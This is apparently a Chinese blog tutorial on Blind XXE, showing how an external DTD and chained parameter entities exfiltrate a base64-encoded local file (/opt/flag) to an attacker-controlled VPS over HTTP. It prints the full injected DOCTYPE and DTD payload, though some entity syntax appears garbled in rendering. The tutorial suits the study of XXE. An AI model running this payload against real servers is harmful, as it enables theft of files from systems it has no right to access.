本文讲解的是 Blind XXE(盲注型 XML 外部实体注入) 的利用原理,核心是通过外部 DTD 结合参数实体的链式调用,在目标程序无回显时,可以把要读取的文件内容 “外带” 到攻击者的服务器上。
在这之前我们必须要了解xml语言的DTD的知识,DTD菜鸟教程
首先在目标执行:
<!DOCTYPE convert[
<!ENTITY %remote SYSTEM "http://你的vpsIP/a.dtd">
%remote;%int;%send;
]>
然后在自己服务器部署文件并用python开启http服务托管a.dtd文件
文件内容:
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag">
<!ENTITY %int "<!ENTITY % send SYSTEM 'http://vpsip/?a=%file;'>
实现流程步骤解析:
1、引入外部DTD(%remote)
<!ENTITY % remote SYSTEM "http://.../test.dtd">:定义参数实体 %remote,指向我们所能控制的攻击服务器的DTD文件,然后依次调用%remote;%int;%send参数实体
2、解析外部DTD(a.dtd)
第一个实体:%file
-
<!ENTITY % file SYSTEM "php://filter/.../resource=/opt/flag">:定义参数实体%file,作用是读取目标服务器的本地文件(这里是/opt/flag)。 php://filter是 PHP 的特殊协议,用于 “过滤 / 转换” 数据流;convert.base64-encode是把文件内容Base64 编码(避免内容中有特殊字符导致解析错误)。
- 第二个实体:
%int<!ENTITY % int "... % send ...">:定义参数实体%int,其内容是另一个实体声明:<!ENTITY % send SYSTEM "http://.../?p=%file;">。%是 **%的 HTML 实体编码 **(因为 XML 中直接写%send会被解析为参数实体,这里用编码绕过,确保最终生成%send实体)。
%send 实体的作用是:发起一个 HTTP 请求到攻击者服务器,并把 %file(即读取到的 Base64 编码后的文件内容)作为参数 p 的值,“外带” 出去。
总的来说就是目标会先调用remote实体去访问我们准备好的dtd文件,然后调用int会生成send实体然后再调用send,向攻击服务器发起http请求并携带参数a,然后这个a是会去访问目标本地的opt/flag文件内容,此时我们就通过http请求外带参数把这个文件内容带出来了,后面我们就只需要base64解码即可查看文件内容
4439

被折叠的 条评论
为什么被折叠?



